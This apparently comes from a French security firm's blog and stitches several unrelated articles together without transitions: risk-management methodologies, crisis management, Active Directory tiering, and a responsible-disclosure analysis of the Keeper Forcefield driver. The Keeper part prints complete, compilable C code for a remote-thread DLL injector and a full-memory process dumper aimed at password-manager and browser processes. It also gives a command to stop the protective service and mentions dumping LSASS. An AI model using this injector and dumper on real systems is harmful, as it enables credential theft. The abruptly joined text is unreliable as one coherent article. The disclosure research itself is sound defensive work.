La gestion des risques en cybersécurité repose sur une démarche structurée qui permet d’anticiper les menaces, de limiter leur impact et d’assurer la continuité des activités. Elle constitue aujourd’hui non seulement une bonne pratique de gouvernance, mais également une exigence réglementaire pour de nombreuses organisations.

Plusieurs cadres réglementaires et normatifs — tels que NIS2, DORA, le RGPD ou certaines normes sectorielles — imposent la réalisation d’analyses de risques formalisées. Les entreprises doivent ainsi démontrer leur capacité à identifier et évaluer les risques cyber, puis à mettre en œuvre des mesures de sécurité proportionnées. L’analyse de risques constitue dès lors un socle essentiel pour orienter les choix de sécurité et répondre aux obligations de conformité.

Plusieurs méthodologies sont largement utilisées pour guider les entreprises dans ce processus. Parmi elles, EBIOS Risk Manager et la norme ISO/IEC 27005 sont les plus répandues, mais d'autres approches comme NIST RMF, OCTAVE, et MEHARI ont aussi leurs spécificités.

Pourquoi la gestion des risques est-elle indispensable ?

Les cybermenaces évoluent en permanence, tant en termes de sophistication que de fréquence. Les entreprises sont confrontées à des risques variés : des attaques externes comme les ransomwares, mais aussi des risques internes, comme les erreurs humaines ou les failles de configuration. Une gestion proactive des risques permet de cartographier ces menaces et de prioriser les actions à mener pour y faire face, en cohérence avec les enjeux métier et les exigences réglementaires.

La gestion des risques aide à répondre à plusieurs questions clés :

• Quels sont les systèmes, processus et données critiques de votre entreprise ?

• Quels sont les vecteurs d’attaque les plus probables ?

• Quel serait l'impact d'une compromission ?

• Comment anticiper et atténuer ces risques de manière efficace ?

Sans une approche méthodique et documentée de la gestion des risques, une organisation s’expose non seulement à des incidents de sécurité évitables, mais également à des non-conformités réglementaires, susceptibles d’entraîner sanctions, pertes financières et atteinte à la confiance des parties prenantes.

Les méthodologies phares pour la gestion des risques

EBIOS Risk Manager

EBIOS Risk Manager est une méthodologie développée par l'ANSSI (Agence nationale de la sécurité des systèmes d’information) pour aider les organisations à évaluer et piloter leurs risques en cybersécurité. Cette approche permet de prendre en compte non seulement les risques techniques, mais aussi les risques stratégiques liés aux enjeux métiers.

EBIOS RM se distingue par sa capacité à cartographier les risques en tenant compte des menaces et des scénarios d'attaques spécifiques à l'organisation. Elle favorise également une vision collaborative des risques, en impliquant les différents acteurs de l'entreprise pour une prise de décision éclairée et partagée.

Le processus d'EBIOS RM comprend cinq étapes clés :

1. Définir le périmètre en identifiant le système d’information à protéger et les acteurs concernés.

2. Étudier les événements redoutés en déterminant les incidents potentiels qui pourraient avoir des conséquences graves sur la sécurité.

3. Analyser les scénarios d’attaques en décomposant les vecteurs et modes d’attaques envisageables.

4. Évaluer les risques en les classant selon leur probabilité et leur impact potentiel.

5. Mettre en place des mesures de sécurité en proposant des mesures adaptées pour réduire les risques identifiés.

EBIOS RM est une méthodologie flexible et pragmatique qui permet d’adapter la stratégie de sécurité aux spécificités de chaque organisation.

ISO/IEC 27005

La norme ISO/IEC 27005 s’inscrit dans la suite des normes ISO/IEC 27000, dédiée à la gestion de la sécurité de l’information. Spécifiquement conçue pour la gestion des risques liés à la sécurité des informations, elle propose une approche structurée, compatible avec la mise en place d’un Système de Management de la Sécurité de l’Information (SMSI).

ISO 27005 se focalise sur la protection des actifs critiques de l’organisation, à travers un processus en plusieurs étapes :

1. Identification des actifs : Identifier les actifs (données, systèmes, etc.) à protéger et comprendre leur valeur pour l’entreprise.

2. Évaluation des menaces et des vulnérabilités : Identifier les failles potentielles dans les systèmes d'information et les menaces qui pourraient les exploiter.

3. Évaluation de l'impact : Estimer les conséquences d'un incident sur les actifs critiques, qu'elles soient financières, opérationnelles ou liées à la réputation.

4. Évaluation de la probabilité : Analyser la probabilité que ces menaces se concrétisent, en tenant compte de l’environnement de l’entreprise et des tendances du secteur.

5. Planification des mesures de sécurité : Élaborer des stratégies de gestion des risques, incluant des mesures de prévention, d'atténuation, et des réponses à mettre en place en cas d'incident.

ISO/IEC 27005 est une méthodologie complète, souvent utilisée par les entreprises ayant déjà mis en place un SMSI, et souhaitant renforcer leur gestion des risques de manière cohérente et structurée.

Autres méthodologies de gestion des risques

• NIST RMF (Risk Management Framework), développée par le National Institute of Standards and Technology (NIST), est une méthode largement utilisée aux États-Unis, en particulier par les entités gouvernementales. Elle propose un cadre en six étapes qui intègre les contrôles de sécurité dans un processus de gestion des risques continu, allant de la catégorisation des systèmes à la surveillance continue des risques.

• OCTAVE (Operationally Critical Threat, Asset, and Vulnerability Evaluation) est une méthodologie développée par le Software Engineering Institute de l’université Carnegie Mellon. Elle est centrée sur l’évaluation des menaces opérationnelles et la gestion des actifs critiques. OCTAVE met l'accent sur l'analyse des risques à partir de la perspective de l'entreprise et de ses besoins opérationnels spécifiques.

• MEHARI (Méthode Harmonisée d’Analyse de Risques) est une méthode française de gestion des risques développée par le CLUSIF (Club de la Sécurité de l'Information Français). Elle se distingue par son approche quantitative et sa capacité à fournir des indicateurs de performance. Elle est particulièrement appréciée pour son intégration dans des démarches de certification et son adaptation aux petites et grandes structures. MEHARI propose des modèles d'analyse détaillés qui permettent d’évaluer les impacts potentiels des risques et de proposer des stratégies de traitement adaptées.

Intégrer la gestion des risques dans votre stratégie de sécurité

La gestion des risques doit être une composante centrale de votre stratégie de cybersécurité. En identifiant les vulnérabilités et en hiérarchisant les actions de sécurité en fonction des risques réels, vous garantissez que vos ressources sont allouées de manière optimale pour protéger vos actifs critiques.

Une fois les risques identifiés et évalués, il est crucial de mettre en place des plans d'action concrets pour les atténuer. Ces plans peuvent inclure des mesures préventives, comme la mise en place de pare-feu ou l'authentification multifactorielle, des actions correctives pour limiter les dommages en cas d'incident, ou encore des assurances spécifiques pour couvrir certains types de risques.

De plus, une bonne gestion des risques passe par la sensibilisation des équipes. Chaque collaborateur doit être conscient des risques auxquels l’organisation est exposée et connaître les bonnes pratiques de sécurité pour les minimiser.

L'accompagnement de Login Sécurité dans la gestion des risques

La gestion des risques est un processus complexe, mais essentiel. Login Sécurité, à travers son équipe GRC, accompagne les entreprises dans chaque étape de cette démarche. Nous utilisons des méthodologies reconnues, comme EBIOS RM et ISO 27005, pour vous aider à évaluer, prioriser et traiter les risques de manière proactive.

Notre expertise permet d’adapter ces méthodologies à vos besoins spécifiques et à votre contexte métier, afin que la gestion des risques devienne un levier stratégique pour la sécurité de votre organisation.

Conclusion

La gestion des risques en cybersécurité est indispensable pour protéger les actifs de votre entreprise contre des menaces de plus en plus sophistiquées. En adoptant des méthodologies comme EBIOS Risk Manager ou ISO/IEC 27005, vous pouvez identifier et évaluer les risques, puis mettre en place des actions concrètes pour les atténuer.

Avec l’accompagnement personnalisé de Login Sécurité, vous disposez d’un cadre solide pour piloter cette gestion des risques et renforcer la résilience de votre organisation face aux cybermenaces.

Aussi, nous avons décidé de nous intéresser à la solution pour en comprendre son fonctionnement, et ses limitations. Les résultats présentés dans cet article sont issus d'un travail d'analyse sur la version 1.0 de Keeper Forcefield.

Comment est-ce que cela fonctionne ?

Keeper Forcefield est constitué d'un exécutable, ainsi que d'un driver, keeperforcefield.sys.

Le driver est assez simple et implémente l'ensemble des fonctionnalités qui vont nous intéresser. Il enregistre un callback sur les opérations sur les objets de type PROCESSvia ObRegisterCallbacks.

NTSTATUS status = ObRegisterCallbacks(&CallbackRegistration, &RegistrationHandle);

Ce callback, lorsqu'il est invoqué sur une opération de création ou de duplication, réalise plusieurs choses.

Tout d'abord, il vérifie que l'image du processus cible de l'opération correspond bien à l'un des processus surveillés, et que la signature correspond :

PEPROCESS TargetProcess = OperationInformation->Object;
SeLocateProcessImageName(TargetProcess, &TargetProcessImageFileName);

if (IsTargetProcessChecked(TargetProcessImageFileName))

On retrouve ainsi la liste des processus surveillés, qui est également documentée sur le site officiel (août 2025) :

• keeperpasswordmanager.exe

• keeper-ksm.exe

• keeper-commander.exe

• keeper-gateway-service.exe

• KeeperBridgeClient.exe

• KeeperBridgeSvc.exe

• chat.UWP.exe

• keeperimport.exe

• chrome.exe

• msedge.exe

• firefox.exe

• brave.exe

• opera.exe

• vivaldi.exe

Si c'est le cas, alors le processus à l'origine de l'opération est vérifié à son tour :

if (IsTargetProcessChecked(TargetProcessImageFileName))
{
    SeLocateProcessImageName(IoGetCurrentProcess(), &CurrentProcessImageName);
    FltParseFileName(CurrentProcessImageName, nullptr, nullptr,
        &FinalComponentCurrentProcess);

    if (!IsProcessInWhitelist(CurrentProcessImageName)
        && !IsProcessWindowsDefender(CurrentProcessImageName) && !
        RtlEqualUnicodeString(TargetProcessImageFileName,
        CurrentProcessImageName, 1))

Ainsi, le chemin complet de l'image de l'exécutable à l'origine de l'opération est comparé à une liste blanche explicite, puis au chemin d'installation de Windows Defender contenant une wildcard. Si c'est le cas, l'opération est autorisée.

Autrement, si l'opération provient d'un processus dont l'image est la même que le celle du processus de destination, alors l'opération est également autorisée. En d'autres termes, cela permet à un processus de faire une opération sur lui-même.

Enfin, si aucune de ces conditions n'est remplie, alors l'accès n'est pas autorisé, et l'access mask est modifié en conséquence:

Parameters->CreateHandleInformation.DesiredAccess &= 0xffffffef;

Cette opération revient à retirer le droit PROCESS_VM_READ, ce qui peut aider à limiter la possibilité d'aller voler en mémoire les identifiants contenus dans le process de Keeper.

Si l'opération est autorisée, rien ne se passe.

Intéressons-nous maintenant à la liste. Celle-ci est une simple liste contenant le chemin complet sur disque d'exécutables Windows:

• \\Device\\\\<DEVICE_NAME>\\Windows\\\\System32\\svchost.exe

• \\Device\\\\<DEVICE_NAME>\\Windows\\System32\\csrss.exe

• \\Device\\\\<DEVICE_NAME>\\Windows\\explorer.exe

• \\Device\\\\<DEVICE_NAME>\\Windows\\System32\\wbem\\WmiPrvSE.exe

• \\Device\\\\<DEVICE_NAME>\\Windows\\\\System32\\lsass.exe

• \\Device\\\\<DEVICE_NAME>\\Windows\\\\System32\\sihost.exe

• \\Device\\\\<DEVICE_NAME>\\ProgramData\\Microsoft\\Windows Defender\\Platform\\\\\\*\\MsMpEng.exe

Ainsi, tout processus autre tentant d'ouvrir une HANDLE sur l'un des processus Keeper, avec le droit PROCESS_VM_READ, se verrait retirer ce droit.

Les limitations

Maintenant que nous avons connaissance de comment fonctionne ce driver, intéressons nous à comment cela peut être contourné.

Dans le cas d'un attaquant disposant d'un accès non privilégié

Premièrement, retirer le droit de lecture n'est pas suffisant pour empêcher d'accéder à l'espace mémoire d'un processus Keeper. En effet, si on y injecte du code et que celui-ci est exécuté, alors il peut ouvrir une HANDLE vers lui-même du fait de l'exclusion en place, ou simplement utiliser la pseudo-handle NtCurrentProcess(), qui dispose de tous les accès. Avec cette handle, il sera alors possible de générer un dump du processus (ou simplement retrouver les secrets en mémoire via des lectures mémoires).

De très nombreux moyens existent afin de réaliser ces injections de code, et ceux-ci reposent sur des droits très différents, et ne reposent pas sur PROCESS_VM_READ. Plusieurs techniques sont par exemple documentées sur ce répertoire.

Secondement, les processus explicitement autorisés, comme explorer.exe par exemple, ne sont pas eux-mêmes protégés. Il est donc possible d'ouvrir une HANDLE avec tous les privilèges sur explorer.exe et d'y injecter du code. Ce code injecté va alors ouvrir une HANDLE vers un process Keeper, et cela se fera sans restriction, car le processus est whitelisté.

Voici un exemple très simple permettant de compiler une bibliothèque qui va générer un dump d'un processus arbitraire. Cette DLL est faite pour être injectée soit dans un processus Keeper directement, soit dans un processus whitelisté, et ce via le second exécutable.

dump_by_pid.c

#include <Windows.h>
#include <DbgHelp.h>

/* Compilation - en utilisant clang-cl comme compilateur, lld-link comme linker, et xwin pour récupérer les headers Microsoft
 *
 * Auteur : Nathan (Login Sécurité)
 *
 * clang-cl -c -vctoolsdir /home/user/winheaders/crt/ -winsdkdir /home/user/winheaders/sdk/ dump_by_pid.c
 * lld-link /VERBOSE -libpath:/home/user/winheaders/crt/lib/x86_64/ \\
 *          -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/ucrt/x86_64/ \\
 *          -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/um/x86_64/ \\
 *          -dll DbgHelp.Lib dump_by_pid.obj /out:dump.dll
 */

void dump()
{
    // A remplacer par le pid du processus à dumper.
    DWORD target_pid = <FIXME_TARGET_PROCESS_PID>;
    BOOL result = FALSE;
    HANDLE target_process = {0};
    HANDLE dump_file = {0};

    dump_file = CreateFileA(
            "C:\\\\\\\\Windows\\\\\\\\temp\\\\\\\\dump.dmp",
            GENERIC_WRITE | GENERIC_READ,
            FILE_SHARE_READ,
            0,
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            NULL
        );

    // Bien que nous utilisions PROCESS_ALL_ACCESS, les droits résultants de l'opération ne contiennent pas PROCESS_VM_READ
    target_process = OpenProcess(PROCESS_ALL_ACCESS , 0, target_pid);
    if (target_process == NULL)
        return;

    result = MiniDumpWriteDump(
            target_process,
            target_pid,
            dump_file,
            MiniDumpWithFullMemory,
            NULL,
            NULL,
            NULL
        );
    if (result == FALSE)
        return;

    CloseHandle(target_process);
    CloseHandle(dump_file);

}

BOOL WINAPI DllMain(
    HINSTANCE hinstDLL,
    DWORD fdwReason,
    LPVOID lpvReserved
    )
{
    switch( fdwReason )
    {
        case DLL_PROCESS_ATTACH:
            dump();
            break;
        default:
            break;
    }
    return FALSE;
}

inject.c

#include <Windows.h>
#include <stdio.h>

/*
Compilation - en utilisant clang-cl comme compilateur, lld-link comme linker, et xwin pour récupérer les headers Microsoft

Auteur : Nathan (Login Sécurité)

clang-cl -c  -vctoolsdir /home/user/winheaders/crt/ -winsdkdir /home/user/winheaders/sdk/ inject.c
lld-link /VERBOSE -libpath:/home/user/winheaders/crt/lib/x86_64/ \\
         -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/ucrt/x86_64/ \\
         -libpath:/home/user/winheaders/sdk/Lib/10.0.26100/um/x86_64/ \\
         inject.obj /out:inject.exe
*/

int main(int argc, char** argv)
{
    HANDLE target_process = {0}, new_thread = {0};
    HANDLE kernelbase_handle = {0};
    DWORD target_pid = -1;
    LPVOID memory_base_address = 0, load_lib_address = {0};
    BOOL result = FALSE;

    if (argc != 3){
        printf("Usage: %s <target_pid> <dll_to_inject>\\\\n", argv[0]);
        return 1;
    }

    target_pid = atoi(argv[1]);
    if (target_pid == 0 || target_pid == -1){
        printf("Failed converting pid\\\\n");
        return 1;
    }

    target_process = OpenProcess(PROCESS_ALL_ACCESS, 0, target_pid);
    if (target_process == NULL) {
        printf("Failed opening target process. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    memory_base_address = VirtualAllocEx(
            target_process,
            NULL,
            0x1000,
            MEM_COMMIT | MEM_RESERVE,
            PAGE_READWRITE
            );
    if (memory_base_address == 0){
        printf("Failed allocating remote memory. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    result = WriteProcessMemory(target_process, memory_base_address, argv[2], 0x1000, NULL);
    if (result == FALSE) {
        printf("Failed writing DLL path. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    kernelbase_handle = GetModuleHandleA("kernelbase.dll");
    if (kernelbase_handle == NULL) {
        printf("Failed getting kernelbase base address. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    load_lib_address = GetProcAddress(kernelbase_handle, "LoadLibraryA");
    if (load_lib_address == NULL) {

        printf("Failed getting LoadLibraryA address. %ld\\\\n", GetLastError());
        return 1;
    }

    new_thread = CreateRemoteThread(
            target_process,
            NULL,
            0,
            load_lib_address,
            memory_base_address,
            0,
            NULL
            );
    if (new_thread == NULL){
        printf("Failed creating remote thread. GetLastError: %ld\\\\n", GetLastError());
        return 1;
    }

    printf("Done.\\\\n");
    CloseHandle(new_thread);
    CloseHandle(target_process);

    return 0;
}

Un attaquant disposant d'un accès administrateur local

Maintenant, considérons le cas d'un attaquant disposant d'un administrateur local de la machine concernée.

Puisqu'il est possible pour un utilisateur via l'application de désactiver Keeper, alors cela est également faisable pour un attaquant.

Une manière simple de le réaliser est d'arrêter le service:

sc.exe stop keeperforcefield

De plus, un attaquant privilégié, contrairement à l'attaquant non privilégié, dispose d'un nombre important de moyens de s'injecter dans un processus de Keeper, ou bien l'un des processus en liste blanche, sans faire appel aux API kernel de manipulation de processus distants. Par conséquent, cela contourne complètement le mécanisme qui notifie le driver Keeper, et par conséquent, le rend inopérant.

Parmi ces techniques, on peut notamment citer la modification d'une DLL sur disque, la modification d'une entrée de registre permettant de modifier un enregistrement COM, la modification des KnownDll, le chargement d'un driver kernel vulnérable puis son exploitation permettant de manipuler la mémoire kernel, et bien d'autres encore.

Windows et les injections de processus

Comme nous avons pu le voir, il existe de très nombreux moyens de contourner la limitation imposée par le driver de Keeper ForceField. Microsoft eux-mêmes ont tenté d'imposer une limitation similaire sur certains processus via le mécanisme de Protected Process Light, mais ce mécanisme a fréquemment des contournements publiés. C'est pour cela que ce n'est pas considéré comme une security boundary par Microsoft.

Il existe toutefois un moyen de se prémunir dans le cas de l'attaquant non privilégié. Il est possible pour un processus de révoquer les droits de l'utilisateur courant sur le processus en question, via l'API SetSecurityInfo sur une HANDLE du processus courant, et en ayant construit un DACL n'autorisant pas l'utilisateur courant.

Responsible Disclosure

Ce travail s’inscrit dans une démarche de divulgation responsable visant à améliorer la sécurité des systèmes concernés.

• Juin 2025 : Découverte des différentes vulnérabilités, analyse technique et confirmation de l’impact

• 2 juillet 2025 : Notification confidentielle transmise à Keeper

• 2 juillet 2025 : Accusé de réception et échanges techniques avec Keeper

• 30 septembre 2025 : Mise à disposition de la version 1.1 de Keeper Forcefield. Keeper a confirmé que bien que les vecteurs identifiés aient été corrigés, il est techniquement impossible de prévenir de manière exhaustive l’ensemble des usages abusifs liés à ce mécanisme.

Lors d’une cyberattaque, le vrai risque n’est pas toujours là où on l’attend. La gestion d’une cybercrise engage avant tout l’organisation, les femmes et les hommes qui la composent, ainsi que leur capacité à décider sous pression. Lors d’un récent webinar consacré à la gestion de crise cyber, trois experts sont revenus sur des situations vécues, rappelant les erreurs les plus fréquentes et plusieurs leviers réellement efficaces lorsqu’un incident majeur survient dans des environnements complexes.

Là où nous sommes unanimes : ce n’est pas tant l’attaque qui fait la gravité d’une cybercrise, mais la façon dont l’organisation réagit et la gère. Gouvernance, communication, arbitrage et facteur humain deviennent alors déterminants. Cet article propose une lecture de ces enseignements, afin d’éclairer les organisations confrontées ou susceptibles de l’être à une crise cyber.

Pourquoi une cybercrise est avant tout une crise humaine

Une cybercrise ne se limite pas uniquement à la compromission d’un système d’information. Elle bouleverse les équilibres internes, modifie les priorités et met à l’épreuve les individus impliqués. Sous stress aigu, la capacité de raisonnement se contracte : l’attention se focalise sur quelques questions angoissantes, tandis que le reste de la situation disparaît du champ de vision. En situation d’urgence, les repères disparaissent rapidement. Le stress s’installe, les informations sont partielles, parfois contradictoires, et les décisions doivent être prises dans un temps contraint.

Dans la première heure d’une cybercrise, le principal adversaire n’est pas l’attaquant, mais notre propre cerveau. Dans ce contexte, les risques ne sont pas uniquement technologiques : les erreurs humaines les plus coûteuses sont souvent invisibles. Il ne s’agit pas nécessairement de fautes techniques ou de non-respect de procédures, mais de biais cognitifs, de bruits, de mauvaises interprétations, de silences organisationnels ou de ruptures dans la circulation de l’information.

Ces fragilités, lorsqu’elles ne sont pas anticipées, amplifient mécaniquement l’impact d’une cybercrise et compliquent la reprise opérationnelle.

Les signaux faibles d’une cybercrise mal maîtrisée

Lorsqu’une crise cyber dérape, certains symptômes apparaissent de manière récurrente.

Ces situations sont bien connues sur le terrain. Une cybercrise est souvent moins dangereuse lorsque les acteurs savent précisément quoi faire, que lorsqu’ils hésitent sur le cadre, les rôles et les priorités.

Cellule de crise : un organe de décision, pas un simple comité technique

Trop souvent assimilée à un regroupement d’experts techniques, la cellule de crise est en réalité une structure de gouvernance et de décision. Nous préférons rappeler que la cellule de crise n’est pas une salle d’experts, c’est une tour de contrôle : elle ne pilote pas chaque action, mais elle donne le cap, régule le trafic et arbitre les priorités.

Une cellule de crise efficace doit être capable d’articuler expertise technique, compréhension métier et arbitrage stratégique en temps réel. Le problème n’est pas que les organisations ne savent pas quoi faire, mais qu’elles ne sont pas en mesure de le faire quand la pression monte. Une cellule de crise inefficace n’échoue pas par manque d’expertise, mais parce qu’elle ne parvient plus à distinguer ce qui est urgent de ce qui est important.

Nous avons mis en avant plusieurs bonnes pratiques :

• Clarifier les rôles dès l’activation de la crise : diagnostic, pilotage opérationnel, communication et coordination.

• Structurer les flux d’information : distinguer ce qui relève de l’escalade immédiate, du suivi de situation et du reporting décisionnel.

• Appliquer un principe fondamental : chaque information doit être traitée au bon niveau, et non en fonction de son volume ou de son caractère anxiogène.

Dans les premières heures, nous le savons, une crise n’est pas gérée par ceux qui parlent le plus fort, mais par ceux qui structurent l’information. Une règle simple, mais déterminante lorsque la pression augmente.

Communication de crise : un levier stratégique majeur

La communication en situation de cybercrise n’est ni secondaire ni accessoire. Elle constitue un pilier central de la réponse à incident.

Trois cercles d’audience doivent être adressés simultanément :

1. L’interne immédiat, composé des équipes directement impliquées dans la gestion de l’incident.

2. L’interne élargi, incluant les directions métiers, les fonctions support et les instances de gouvernance.

3. L’externe, regroupant clients, partenaires, autorités de régulation et, le cas échéant, médias.

Nous l’avons vu à plusieurs reprises, chaque public appelle un discours spécifique, mais l’ensemble doit rester parfaitement cohérent. Cette cohérence ne s’improvise pas, elle se prépare en amont, à travers des scénarios de crise, des messages travaillés, des canaux identifiés et des rôles clairement établis.

Rappelons qu’en situation de crise :

• Le cerveau ne retient que 3 à 5 messages maximum sur une période de 20 à 30 secondes.

• Le calme transmet la sécurité.

• La clarté donne de l’énergie.

• La fermeté fixe la direction.

Le facteur temps : arbitrer entre rapidité et fiabilité

La gestion d’une cybercrise impose une tension permanente entre vitesse d’action et fiabilité de l’information. Une réponse trop rapide peut conduire à des décisions erronées ; une recherche excessive de certitude peut, à l’inverse, paralyser l’organisation. « Il ne faut pas confondre vitesse et précipitation ». Comme nous l’avons rappelé lors du webinar, une crise est un marathon, pas un sprint.

Mais attention, un marathon ne se gagne pas à l’accélération permanente, mais à la capacité à gérer son effort, ses relais et ses points de passage.

Trouver le bon équilibre repose sur plusieurs pratiques clés :

• Décider sur la base d’hypothèses raisonnablement validées, et non de suppositions.

• Mettre en place une escalade progressive, plutôt qu’une logique tout ou rien.

• Accepter un certain niveau d’incertitude, tout en maintenant un cadre décisionnel structuré.

Décider trop vite rassure temporairement, mais augmente le risque d’erreur. Décider trop tard donne l’illusion de prudence, mais fragilise l’organisation. Ces arbitrages sont difficiles, en particulier lorsque la pression interne et externe exige des réponses immédiates. Pourtant, une décision précipitée peut s’avérer bien plus coûteuse qu’un délai maîtrisé.

Enjeux juridiques et réglementaires : une dimension indissociable

Toute cybercrise révèle des enjeux juridiques et réglementaires. Obligations de notification, engagements contractuels, responsabilités vis-à-vis des autorités ou des clients : ces dimensions ne peuvent être traitées a posteriori. Lorsqu’elle est intégrée trop tard, la fonction juridique devient un facteur de ralentissement. Lorsqu’elle est associée dès le départ, elle sécurise la décision.

La conformité n’est donc pas un sujet annexe : elle fait pleinement partie de la réponse à incident. Cela implique notamment :

• La maîtrise des délais et modalités de notification aux autorités compétentes.

• La préparation de modèles de reporting adaptés aux différentes parties prenantes.

• L’anticipation des impacts contractuels, financiers et réputationnels.

Rançongiciels, violations de données, attaques par déni de service : les scénarios sont nombreux et leurs conséquences parfois lourdes. Investir dans une démarche de cyber-résilience permet de réduire l’exposition à ces risques, de protéger les actifs numériques critiques et de sécuriser les données sensibles, notamment celles des clients et des partenaires.

Bien en amont de l’incident donc, le cadre juridique impose déjà des obligations claires : mettre en place des mesures de sécurité adaptées, organiser la gouvernance de crise et anticiper les scénarios de violation de données. Lorsque l’attaque survient, le droit devient un facteur de stabilisation : il fixe les délais, encadre les décisions et évite que la victime ne bascule, par précipitation ou impréparation, dans une situation de non-conformité. Pensée dès l’origine, la dimension juridique ne ralentit pas la gestion de crise ; elle la sécurise, protège l’organisation et contribue à limiter durablement les impacts opérationnels, financiers et réputationnels.

De la crise subie à la crise structurante

La différence entre une crise qui s’éteint difficilement et une crise qui devient un levier de transformation repose sur trois piliers fondamentaux :

• La préparation, avec des processus, des rôles et des scénarios travaillés en amont.

• La gouvernance, assurée par une cellule de crise capable d’arbitrer et de prioriser.

• L’organisation humaine, c’est-à-dire la manière dont les individus communiquent, coopèrent et décident sous contrainte.

La réponse technique est indispensable, mais elle ne suffit jamais à elle seule. Ce sont les facteurs humains et organisationnels qui déterminent l’issue réelle d’une cybercrise.

Conclusion : vers une gestion mature des cybercrises

La gestion d’une cybercrise est un exercice complexe, à la croisée de la cybersécurité, de la gouvernance et de la psychologie. Elle exige une capacité à décider rationnellement dans un environnement émotionnellement instable, tout en maintenant la cohérence de l’action collective. Elle révèle rarement des failles inconnues ; elle met surtout en lumière la manière dont une organisation pense, communique et décide sous pression.

Une cybercrise ne se résume ni à des outils, ni à des procédures figées. Elle constitue un processus vivant, qui requiert anticipation, clarté des rôles et maturité organisationnelle. C’est à ce prix que les organisations peuvent transformer une situation critique en opportunité d’apprentissage, de renforcement et de confiance durable.

Comme nous l’avons évoqué et cela restera un élément à retenir : « La cybersécurité est un verbe, pas un état : elle impose l’action ».

Les réflexions développées ici font écho aux échanges menés lors de notre dernier webinar sur la gestion des cybercrises. Pour celles et ceux qui souhaitent approfondir ces sujets, retrouvez le replay sur Youtube !

📢 Et si vous souhaitez approfondir ce sujet avec nos experts ou vous faire accompagner sur la gestion de crise, rendez-vous sur notre site ou contactez-nous !

L’un des problèmes principaux dans la sécurisation d’un domaine Active Directory est la dissémination des secrets d’authentification.

Un utilisateur disposant de privilèges d’administration sur une machine est en mesure, par exemple, de récupérer les secrets d’authentification (condensat NTLM, tickets Kerberos) qui sont stockés dans le processus LSASS.

Il est également possible d’usurper l’identité d’un utilisateur authentifié via l’injection dans un processus ou la création d’une tâche planifiée.

De fait, si un utilisateur disposant de privilèges importants sur le domaine Active Directory est connecté, ou a été connecté depuis le dernier redémarrage, sur un serveur compromis, un attaquant pourrait être en mesure de récupérer ses secrets d’authentification et donc compromettre le domaine.

Prenons l’exemple suivant au sein du domaine lab.local :

• L’utilisateur LAB\t0_user, membre du groupe Administrateur du Domaine est connecté sur la machine W10-WKS01;

• L’utilisateur LAB\user est Administrateur local de cette machine.

Via l’utilisation de l’outil lsassy, l’utilisateur LAB\user peut récupérer le condensat NT ou le TGT de l’utilisateur LAB\t0_user et donc usurper son identité et ses privilèges au niveau du domaine.

Dump du processus lsass

Pour limiter ce problème, des modèles d’administration doivent être mis en place, en particulier le modèle en Tiers.

Le modèle en Tiers

Avant de rentrer dans le vif du sujet des Silos d’Authentification, un petit rappel sur le modèle en Tiers s’impose.

Une architecture en Tiers est largement recommandée dans les Systèmes d’Information afin de segmenter au mieux les différents niveaux de criticités des actifs.

Microsoft a également recommandé cette architecture pour les domaines Active Directory, afin de répondre à certaines problématiques liées au fonctionnement intrinsèque de l’authentification Windows (enregistrement des secrets, Pass-The-Hash, etc…).

En effet, si un tiers est compromis aucun secret d’authentification d’administrateurs des autres tiers ne peut s’y retrouver empêchant ainsi le déplacement vertical et l’élévation de privilèges dans le domaine.

3 tiers sont recommandés habituellement :

• Le Tiers 0 (T0) qui contient l’ensemble des serveurs critiques : Contrôleurs de Domaine, PKI, etc…

• Le Tiers 1 (T1) qui contient les autres serveurs du SI. Ce tiers peut être découpé en plusieurs niveaux en fonction des besoins

• Le Tiers 2 (T2) qui contient les autres ressources du SI, en particulier les postes de travail

Segmentation du modèle en Tiers recommandé par Microsoft

Ce modèle passe par deux éléments afin de cloisonner les tiers :

• Des restrictions de connexions afin d’interdire aux administrateurs d’un tiers de se connecter sur les actifs d’un tiers différent. Cet article détaille une méthode pour les mettre en place.

Restrictions de connexions recommandées

• De la délégation sur les objets du domaine afin de limiter les permissions des administrateurs de chaque tiers et empêcher des chemins d’attaque.

  

Modèle de délégation à appliquer

Afin de mettre en place les restrictions d’accès, deux méthodes principales existent :

• Utilisation des GPO pour restreindre les privilèges d’authentification sur les machines du domaine ;

• Utilisation des silos d’authentification (Authentication Policy et des Authentication Policy Silos) pour contrôler les demandes d’accès sur les machines du domaine.

Dans un premier temps, nous allons identifier les avantages et inconvénients des deux méthodes

Puis nous allons rentrer spécifiquement dans les composants des silos d’authentification avant de voir leurs mises en œuvre.

GPO vs Authentication Policy

GPO

Les restrictions de connexions par GPO utilisent les… GPO afin de mettre en place les restrictions sur les comptes machine.

Ces restrictions sont basées sur 5 types d’accès et privilèges distincts :

• Connexion interactive : SeInteractiveLogonRight et SeDenyInteractiveLogonRight

• Connexion en tant que compte de service : SeServiceLogonRight et SeDenyServiceLogonRight

• Connexion en tant que tâches planifiées : SeBatchLogonRight et SeDenyBatchLogonRight

• Connexion via RDS : SeRemoteInteractiveLogonRight et SeDenyRemoteInteractiveLogonRight

• Accès à la machine via le réseau : SeNetworkLogonRight et SeDenyNetworkLogonRight

Une configuration correcte par GPO permet de grandement limiter les authentifications, mais comporte plusieurs écueils :

• Le fonctionnement intrinsèque des GPO avec la possibilité de les surcharger, d’écraser les paramètres et de bloquer l’héritage peuvent rendre complexe l’implémentation et l’administration ;

• Dans certains cas, un administrateur d’un Tiers peut modifier les GPO et ainsi supprimer les restrictions ;

• L’administrateur d’une machine peut modifier les privilèges, sans passer par les GPO, même temporairement, pour diminuer le niveau de sécurité de la machine ;

De plus, dans le cadre d’une authentification NTLM, la vérification des privilèges se fait après l’authentification. Un attaquant peut ainsi être en mesure de récupérer des secrets d’authentification (défi/réponse, mot de passe…) si un administrateur tente de se connecter à la machine via ce protocole.

Lors de l’utilisation du protocole Kerberos, même si l’autorisation est réalisée après l’authentification, les secrets ne seront pas stocké en mémoire sur la machine. C’est pourquoi l’utilisation du groupe Protected Users est fortement recommandée afin d’empêcher l’utilisation du protocole NTLM pour l’authentification des comptes à privilège.

Silos d’Authentification

